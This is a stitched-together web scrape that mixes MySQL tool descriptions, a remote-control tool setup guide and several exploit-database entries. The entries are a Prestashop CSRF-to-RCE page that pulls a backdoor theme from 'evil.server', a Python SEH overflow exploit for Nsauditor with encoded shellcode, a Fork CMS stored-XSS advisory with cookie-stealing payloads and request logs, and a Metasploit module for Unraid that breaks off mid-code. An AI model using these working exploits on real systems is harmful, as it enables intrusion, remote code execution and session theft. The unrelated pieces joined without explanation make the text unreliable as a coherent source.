phpMyAdmin is the most commonly used MySQL maintenance tool. It is a MySQL management tool based on a web-based architecture on the website host developed in PHP. It supports Chinese and is very convenient to manage databases. The disadvantage is that it is inconvenient to backup and restore large databases.

4 Navicat

Navicat is a desktop version of MySQL database management and development tool. It is very similar to Microsoft SQLServer's manager, easy to learn and use. Navicat uses a graphical user interface, which makes it easier for users to use and manage. Support Chinese,

5 MySQL-Front

MySql-Front small management of MySQL applications. The main features include multi-document interface, syntax highlighting, drag-and-drop databases and tables, editable/added fields, editable/insertable records, displayable members, executable SQL scripts, providing interfaces with external programs, saving data to CSV files, etc.

6 dbForge Studio for MySQL

dbForge Studio for MySQL is a powerful tool designed specifically to automate and simplify MySQL's work. It provides a simple way to explore and maintain existing databases, design composite SQL statements, query and manipulate data in different ways.

<html>

<!--

# Exploit Title: Prestashop <= 1.7.6.4 single-click RCE exploit
# Date: 2020-04-11
# Exploit Author: Sivanesh Ashok | @sivaneshashok | stazot.com
# Vendor Homepage: https://www.prestashop.com/
# Version: 1.7.6.4 and below
# Tested on: Windows 10 / XAMPP / Prestashop v1.7.6.4

Prestashop <= 1.7.6.4 single-click RCE exploit

Written by Sivanesh Ashok | @sivaneshashok | stazot.com

For more details, visit https://stazot.com/prestashop-csrf-to-rce-article

Change the values of the 3 variables marked as "change this"
  
-->

<!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <h3>This is totally a legit page. Just keep reading this for a minute :)</h3>

  <script>history.pushState('', '', '/')</script>
    <script>
      var target = "http://localhost"; //change this
      var admin_url = "/admin123ab45cd"; //change this
      var theme_url = "http://evil.server/backdoor-theme.zip"; //change this - link to the malicious theme zip file
      var xhr0 = new XMLHttpRequest();
      xhr0.open("GET", target+admin_url+"/filemanager/dialog.php");
      xhr0.withCredentials = true;
      xhr0.send();
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", target+admin_url+"/filemanager/upload.php", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777");
        xhr.withCredentials = true;
        var body = "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"path\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"path_thumb\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777\r\n" + 
          "Content-Disposition: form-data; name=\"file\"; filename=\"exploit.svg\"\r\n" + 
          "Content-Type: image/svg+xml\r\n" + 
          "\r\n" + 
          "\x3csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\x3e\r\n" + 
          "\r\n" + 
          "\t\x3cscript xlink:href=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js\"\x3e\x3c/script\x3e\r\n" + 
          "\t\r\n" + 
          "\t\x3cscript\x3e\r\n" + 
          "\t\r\n" + 
          "\t$.ajaxSetup({async: false});\r\n" + 
          "\r\n" + 
          "\tvar target = \'" + target + "\';\r\n" + 
          "\tvar admin_url = \'" + admin_url + "\';\r\n" + 
          "\tvar theme_url = \'" + theme_url + "\';\r\n" + 
          "\tvar import_url = \'\';\r\n" + 
          "\tvar import_token = \'\';\r\n" + 
          "\t\r\n" + 
          "\t$.get(target+admin_url+\'/index.php/improve/design/themes/import\', function( my_var0 ) {\r\n" + 
          "\t\r\n" + 
          "\t\tvar tmp = my_var0.match(/_token(.{44})/g);\r\n" + 
          "\t\ttmp = tmp.toString().split(\"=\");\r\n" + 
          "\t\ttmp = tmp[1];\r\n" + 
          "\t\timport_url = target+admin_url+\'/improve/design/themes/import?_token=\'+tmp;\r\n" + 
          "\r\n" + 
          "\t}, \'html\');\r\n" + 
          "\r\n" + 
          "\t$.get(import_url, function( my_var1 ) {\r\n" + 
          "\r\n" + 
          "\t\tvar tmp = my_var1.match(/import_theme__token(.{101})/g);\r\n" + 
          "\t\ttmp = tmp.toString().split(\' \');\r\n" + 
          "\t\ttmp = tmp[3].toString().split(\'=\\\"\');\r\n" + 
          "\t\timport_token = tmp[1];\r\n" + 
          "\r\n" + 
          "\t}, \'html\');\r\n" + 
          "\r\n" + 
          "\tvar themeUploadData = new FormData();\r\n" + 
          "\tthemeUploadData.append(\'import_theme[import_from_web]\', theme_url);\r\n" + 
          "\tthemeUploadData.append(\'import_theme[_token]\', import_token);\r\n" + 
          "\r\n" + 
          "\t$.ajax({\r\n" + 
          "\t\turl: import_url,\r\n" + 
          "\t\tdata: themeUploadData,\r\n" + 
          "\t\tcache: false,\r\n" + 
          "\t\tcontentType: false,\r\n" + 
          "\t\tprocessData: false,\r\n" + 
          "\t\tmethod: \'POST\'\r\n" + 
          "\t});\r\n" + 
          "\r\n" + 
          "\t\x3c/script\x3e\r\n" + 
          "\r\n" + 
          "\x3c/svg\x3e\r\n" + 
          "\r\n" + 
          "-----------------------------6487332036660663652470259777--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      window.setTimeout(function(){
        submitRequest();
      }, 1500);
      window.setTimeout(function(){
        var iframe = document.createElement('iframe');
        iframe.style.display = "none";
        iframe.src = target+"/img/cms/exploit.svg";
        document.body.appendChild(iframe);
      }, 4000);
    </script>
  </body>
</html>
            
# Exploit Title: Nsauditor 3.2.1.0 - Buffer Overflow (SEH+ASLR bypass (3 bytes overwrite))
# Date: 2020-04-17
# Exploit Author: Cervoise
# Vendor Homepage: https://www.nsauditor.com/
# Software Link: https://www.nsauditor.com/downloads/nsauditor_setup.exe
# Version: 3.2.1.0 and 3.0.28
# Tested on: Windows 10.0.18363.778 x86 Pro EN

# Exploit originally found on Nsauditor 3.0.28.0 by ACHILLES 
(https://www.exploit-db.com/exploits/46005)
# Latest version Nsauditor 3.2.1.0 (4/13/2020 1:51:53) is still 
vulnerable

# 1 -> Change the shellcode with the one you want
# 2 -> Open nsauditor-3-2-1-exploit.txt and copy content to clipboard
# 3 -> Open Nsauditor
# 4 -> In the Window select "Tools" -> "Dns Lookup"
# 5 -> Paste the content into the Field: "Dns Query'"
# 6 -> Click "Resolve"

#!/usr/bin/python3

# Badchars -> 
\x00\x0a\x0d\x2e\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9f\xf0\xf1\xf2\xf3\xf4\xf5\xf6
# Maybe less badchars between \x80 and \x9f but I was lazy (I just 
checked thoose I needed)

# msfvenom -p windows/exec CMD=calc -e x86/alpha_mixed -f python -v 
shellcode
shellcode =  b""
shellcode += b"\x89\xe7\xd9\xe9\xd9\x77\xf4\x59\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43"
shellcode += b"\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30"
shellcode += b"\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
shellcode += b"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += b"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x6e\x62\x73"
shellcode += b"\x30\x37\x70\x75\x50\x35\x30\x6f\x79\x68\x65"
shellcode += b"\x36\x51\x6f\x30\x43\x54\x4e\x6b\x70\x50\x30"
shellcode += b"\x30\x4e\x6b\x43\x62\x56\x6c\x4c\x4b\x73\x62"
shellcode += b"\x54\x54\x6c\x4b\x61\x62\x65\x78\x36\x6f\x58"
shellcode += b"\x37\x71\x5a\x56\x46\x66\x51\x49\x6f\x6e\x4c"
shellcode += b"\x65\x6c\x51\x71\x53\x4c\x43\x32\x46\x4c\x47"
shellcode += b"\x50\x6f\x31\x4a\x6f\x66\x6d\x46\x61\x79\x57"
shellcode += b"\x69\x72\x69\x62\x46\x32\x36\x37\x4c\x4b\x63"
shellcode += b"\x62\x76\x70\x4c\x4b\x63\x7a\x45\x6c\x6e\x6b"
shellcode += b"\x72\x6c\x47\x61\x62\x58\x79\x73\x77\x38\x55"
shellcode += b"\x51\x7a\x71\x72\x71\x6e\x6b\x62\x79\x57\x50"
shellcode += b"\x37\x71\x78\x53\x4e\x6b\x57\x39\x72\x38\x5a"
shellcode += b"\x43\x54\x7a\x61\x59\x4e\x6b\x57\x44\x4c\x4b"
shellcode += b"\x45\x51\x39\x46\x30\x31\x79\x6f\x6e\x4c\x5a"
shellcode += b"\x61\x4a\x6f\x44\x4d\x63\x31\x79\x57\x76\x58"
shellcode += b"\x49\x70\x51\x65\x69\x66\x76\x63\x43\x4d\x58"
shellcode += b"\x78\x45\x6b\x51\x6d\x57\x54\x64\x35\x48\x64"
shellcode += b"\x46\x38\x6c\x4b\x42\x78\x67\x54\x36\x61\x6a"
shellcode += b"\x73\x31\x76\x6c\x4b\x44\x4c\x52\x6b\x6c\x4b"
shellcode += b"\x66\x38\x65\x4c\x57\x71\x4a\x73\x6e\x6b\x36"
shellcode += b"\x64\x4e\x6b\x47\x71\x38\x50\x6d\x59\x42\x64"
shellcode += b"\x35\x74\x51\x34\x31\x4b\x33\x6b\x70\x61\x42"
shellcode += b"\x79\x43\x6a\x50\x51\x6b\x4f\x4d\x30\x33\x6f"
shellcode += b"\x63\x6f\x43\x6a\x4e\x6b\x77\x62\x7a\x4b\x6e"
shellcode += b"\x6d\x53\x6d\x50\x6a\x67\x71\x4e\x6d\x6c\x45"
shellcode += b"\x4e\x52\x73\x30\x37\x70\x75\x50\x72\x70\x35"
shellcode += b"\x38\x46\x51\x4e\x6b\x52\x4f\x4f\x77\x4b\x4f"
shellcode += b"\x38\x55\x6f\x4b\x4c\x30\x6e\x55\x6c\x62\x71"
shellcode += b"\x46\x53\x58\x4f\x56\x6d\x45\x6d\x6d\x6d\x4d"
shellcode += b"\x39\x6f\x58\x55\x47\x4c\x44\x46\x43\x4c\x74"
shellcode += b"\x4a\x6b\x30\x49\x6b\x59\x70\x34\x35\x47\x75"
shellcode += b"\x6f\x4b\x50\x47\x56\x73\x73\x42\x70\x6f\x53"
shellcode += b"\x5a\x67\x70\x51\x43\x4b\x4f\x6b\x65\x31\x73"
shellcode += b"\x70\x61\x52\x4c\x30\x63\x73\x30\x41\x41"


# 0x006ea017 : pop esi # pop ecx # ret  | startnull 
{PAGE_EXECUTE_WRITECOPY} [Nsauditor.exe] ASLR: False, Rebase: False, 
SafeSEH: False, OS: False, v3.0.28.0 (C:\Program 
Files\Nsauditor\Nsauditor.exe)
# 0x006ea017 : pop esi # pop ecx # ret  | startnull 
{PAGE_EXECUTE_WRITECOPY} [Nsauditor.exe] ASLR: False, Rebase: False, 
SafeSEH: False, OS: False, v3.2.1.0 (C:\Program 
Files\Nsauditor\Nsauditor.exe)

pop_pop_ret = b"\x17\xa0\x6e"
jmp_back = b"\xeb\xc3\x90\x90"  #JMP    0xffffffc5

# An address near the end of our buffer is on the stack, only three pop 
are needed to get it
# Then we just have to moving at the begging of our buffer
# An egghunter does the job, but will not be compatible with all Windows 
versions
going_back = b"\x58"            #POP EAX
going_back += b"\x58"           #POP EAX
going_back += b"\x58"           #POP EAX
going_back += b"\x83\xE8\x79"   #SUB   EAX,0x79
going_back += b"\x83\xE8\x79"   #SUB   EAX,0x79
going_back += b"\x83\xE8\x79"   #SUB   EAX,0x79
going_back += b"\x83\xE8\x79"   #SUB   EAX,0x79
going_back += b"\x83\xE8\x79"   #SUB   EAX,0x79
going_back += b"\xFF\xE0"       #JMP EAX

buffer = b"\x90"*(5235-len(shellcode)-len(going_back)-100)
buffer += shellcode + b"\x90"*100
buffer += going_back
buffer += jmp_back + pop_pop_ret #nSEH / SEH

# Write the exploit
file = open("nsauditor-3-2-1-exploit.txt", "wb")
file.write(buffer)
file.close()
            
# Title: Fork CMS 5.8.0 - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Vendor: https://www.fork-cms.com/download
# Software Link: https://github.com/forkcms/forkcms/pull/3073
# CVE: N/A

Document Title:
===============
Fork CMS v5.8.0 - Multiple Persistent Web Vulnerbilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2208

ID (3073):  https://github.com/forkcms/forkcms/pull/3073


Release Date:
=============
2020-04-17


Vulnerability Laboratory ID (VL-ID):
====================================
2208


Common Vulnerability Scoring System:
====================================
5.3


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Fork is an easy to use open source CMS using Symfony Components. Fork
CMS is dedicated to creating a user friendly environment
to build, monitor and
update your website. We take great pride in being the Content Management
System of choice for beginners and professionals.

(Copy of the Homepage: https://www.fork-cms.com  &
https://www.fork-cms.com/download )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent web vulnerabilities in the official Fork CMS v5.8.0.


Affected Product(s):
====================
ForkCMS
Product: Fork CMS v5.8.0 - Content Management System (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-04-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been
discovered in the official Fork CMS v5.8.0 open-source web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.

The persistent input validation web vulnerabilities are located in the
`Displayname` input field when using the `Add`, `Edit` or `Register`
mechanism that forwards the information into the `var` parameter. Remote
attackers and privileged application user accounts are able to
inject own malicious persistent script code as the users displayname by
usage of the registration module (/profiles/register). Privileged
users with access to the profile or users module are able to exploit the
issue by a simple inject. The displayname then becomes visible in
the Admin - Profiles Index on Preview, Edit User/Profile, Delete User
Interaction and User Index in Listing modules. the var parameter
does not encode or parse the exisiting injected content and executes it.
The request method to inject is POST and the attack vector of the
vulnerability is located on the application-side of the content
management system. The injection point is located in the registration form
and the add/edit user function. The execution point of the issue occurs
in the preview profile, edit user, user index listing and delete
user message context.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Register
[+] Add User
[+] Edit User

Vulnerable Input(s):
[+] Displayname

Vulnerable Parameter(s):
[+] var

Affected Module(s):
[+] Preview Profile
[+] Edit User
[+] User Index
[+] Delete User


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by
remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the security vulnerability
follow the provided information an steüs below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the fork cms web-application newst version
2. Move via sitemap or by link to the registration page
(/modules/profiles/register)
3. Inject your script code payload html/js to the Displayname input field
4. Register the account by pushing submit
5. Activate the link in the account registration email
Note: Now simple wait until the administrator / privileged user visits
the panel to execute the code on interaction or preview only
6. Successful reproduce of the persistent script code injection
vulnerability!


PoC: Vulnerable Source (User Index in Listing -
https://fork-cms.localhost:8080/private/en/users/index)
<tr id="row-2" class="even">
<td class="nickname"><a
href="/private/en/users/edit?token=k7byefqor8&id=2"
title="edit">test3"><iframe src="evil.source"
onload=alert(document.cookie)></a></td>
<td  class="fork-data-grid-action actionEdit"><a
href="/private/en/users/edit?token=k7byefqor8&id=2"
class="btn btn-default btn-xs pull-right">
<span class="fa fa-pencil" aria-hidden="true"></span>&nbsp;Edit</a></td>
</tr>


PoC: Vulnerable Source (Profiles Index on Preview -
https://fork-cms.localhost:8080/private/en/profiles/index)
<tbody><tr id="row-1" class="odd">
<td class="check"><input type="checkbox" name="id[]" value="1"
class="inputCheckbox checkBeforeUnload"></td>
<td class="email"><a
href="/private/en/profiles/edit?token=k7byefqor8&id=1"
title="">tester23@protonmail.com</a></td>
<td class="display_name">"<iframe src="evil.source"
onload="alert(document.cookie)"></td>
<td  class="registered_on">13 April 2020 11:17</td>
<td  class="fork-data-grid-action actionEdit">
<a href="/private/en/profiles/edit?token=k7byefqor8&id=1" class="btn
btn-default btn-xs pull-right">
<span class="fa fa-pencil" aria-hidden="true"></span>&nbsp;Edit</a></td>
</tr></tbody>


PoC: Vulnerable Source (Delete User - On Interaction)
<form name="delete" method="post"
action="/private/en/users/delete?token=k7byefqor8">
<input type="hidden" id="delete__token" name="delete[_token]"
value="q3ADogMObka_-73n5afnMPsJHj9ZAI_ch5uiabqDsqs" />
<input type="hidden" id="delete_id" name="delete[id]" value="2" />
<div class="modal fade" id="confirmDelete" role="dialog" tabindex="-1"
aria-hidden="true" aria-labelledby="confirmDeleteTitle">
<div class="modal-dialog"><div class="modal-content"><div
class="modal-header">
<h4 class="modal-title" id="confirmDeleteTitle">Delete</h4></div>
<div class="modal-body">
<p>Are your sure you want to delete the user "evil.source"><iframe
src=evil.source onload=alert(document.cookie)>"?</p></div>
<div class="modal-footer">
<button class="btn btn-default" title="Cancel"  data-dismiss="modal">
<span class="fa fa-times" aria-hidden="true"></span>
<span class="btn-text">Cancel</span></button>
<button class="btn btn-danger" title="Delete" >
<span class="fa fa-trash" aria-hidden="true"></span>
<span class="btn-text">Delete</span>
</button></div></div></div></div>
</form>


--- PoC Session Logs [POST] (Registration User Account) ---
https://fork-cms.localhost:8080/en/modules/profiles/register#registerForm
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://fork-cms.localhost:8080/en/modules/profiles/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie:
track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B;PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d;

interface_language=en; frontend_language=en; cookie_bar_agree=Y;
cookie_bar_hide=Y;
form=register&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&display_name=>"<iframe
src=evil.source
onload=alert(document.cookie)>&email=tester23@protonmail.com&password=pwnd
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: frontend_language=en; expires=Wed, 13-May-2020 09:49:57 GMT;
Max-Age=2592000;
path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax
track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B; expires=Tue,
13-Apr-2021 09:49:57 GMT;
Max-Age=31536000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location: https://fork-cms.localhost:8080
X-server: fork01


-- PoC Session Logs [POST] (Add User) ---
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Content-Type: multipart/form-data;
boundary=---------------------------56051791419552543783889366402
Content-Length: 2545
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
Upgrade-Insecure-Requests: 1
form=add&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&email=tester232323@protonmail.com&password=tester445
&confirm_password=tester445&name=test1&surname=test2&nickname=test3>"<iframe
src=a onload=alert(document.cookie)>&avatar=
&interface_language=en&preferred_editor=ck-editor&date_format=j F
Y&time_format=H:i&number_format=dot_nothing
&csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&add=
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location:
/private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-4
X-server: fork01
-
https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-4
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
-
POST: HTTP/1.1 200 OK
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Content-Length: 3615
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Vary: Accept-Encoding
Content-Encoding: gzip
X-server: fork01
-
GET: HTTP/1.1 200 OK
Server: nginx/1.6.2
https://fork-cms.localhost:8080/private/en/users/evil.source
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location: /private/en/error?type=action-not-allowed
X-server: fork01


-- PoC Session Logs [POST] (Edit User) ---
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Content-Type: multipart/form-data;
boundary=---------------------------388544425912514902093103180709
Content-Length: 2563
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
form=edit&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&email=testemail337@protonmail.com&name=test1&surname=test2
&nickname=test3>"<iframe src=evil.source
onload=alert(document.cookie)>&avatar=&new_password=&confirm_password=
&interface_language=en&preferred_editor=ck-editor&date_format=j F
Y&time_format=H:i&number_format=dot_nothing&
csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&edit=
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location:
/private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe src=evil.source
onload=alert(document.cookie)>&highlight=row-2
X-server: fork01
https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-2
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
-
POST: HTTP/1.1 200 OK
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Content-Length: 3585
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55 GMT;
Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Vary: Accept-Encoding
Content-Encoding: gzip
X-server: fork01


Reference(s):
https://fork-cms.localhost:8080/en/modules/profiles/register
https://fork-cms.localhost:8080/private/en/profiles/index
https://fork-cms.localhost:8080/private/en/users/index
https://fork-cms.localhost:8080/private/en/users/edit
https://fork-cms.localhost:8080/private/en/users/add


Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities
in the fork cms web-application is estimated as high.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com			
www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com
paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 		
youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
            

In daily work, we need various remote control tools such as sunflowers, todesks, etc. How to deploy your own remote control platform privately? My cousin in this article introduces you to the tool host management tool, which supports shell management and remote desktop.轻量化远控工具

Main Functional Characteristics

supports privatization deployment with smaller memory footprint (about 20M) supports TLS secure connections, supports multiple asynchronous IO, supports links and terminal session monitoring, supports web shell, supports web vnc, supports multiple operating systems

Experimental Environment

Server (centos7) controlled end (window11) control end (kali Linux)

Deploy the server

Here, I use public network (centos7) vps on the server. It's OK if it's a LAN device.

First, download the corresponding package according to the server architecture.h2aoalpcrx3387.png

wget https://github.com/lwch/natpass/releases/download/v0.12.3/natpass_0.12.3_linux_amd64.tar.gz -o linux_amd64.tar.gz

tar -zxf linux_amd64.tar.gz

cd natpass_0.12.3

./np-svr --conf server.yaml imc5chtvp2k396.png

Open external network firewall, default port 6154

Controlled end deployment

The controlled terminal is deployed as a Windows computer. Download the Windows system package. As follows y1eybgjilci407.png

Modify remote.yaml configuration file and modify server address tyql40mxjc0417.png Start np-cli.exe --conf remote.yaml --user `whoami`

Control side deployment

Download and decompress to any directory on the local control machine

Modify local.yaml configuration file and modify server address

(Optional) Modify the rule configuration file in the rule.d directory, rule configuration method

Start the client program with the following command

sudo ./np-cli --conf local.yaml ilsc2ggj3co430.png

After the above operation is successful, you can access it in the browser through the port number configured in local.yaml. The default address is:

http://127.0.0.1:8080

The effect is as followshsee2ijtc4e440.png

Using

Connect vnc effect

We click on the VNC connection below, or click on the Terminal tab and select vnc lanxbj12g2l452.png vnc远程桌面 Terminal connection 终端桌面 Setting and reading clipboard onqyqjrj3z5479.png

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  Rank = ExcellentRanking
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Unraid 6.8.0 Auth Bypass PHP Code Execution',
        'Description' => %q{
          This module exploits two vulnerabilities affecting Unraid 6.8.0.
          An authentication bypass is used to gain access to the administrative
          interface, and an insecure use of the extract PHP function can be abused
          for arbitrary code execution as root.
        },
        'Author' =>
          [
            'Nicolas CHATELAIN <n.chatelain@sysdream.com>'
          ],
        'References' =>
          [
            [ 'CVE', '2020-5847' ],
            [ 'CVE', '2020-5849' ],
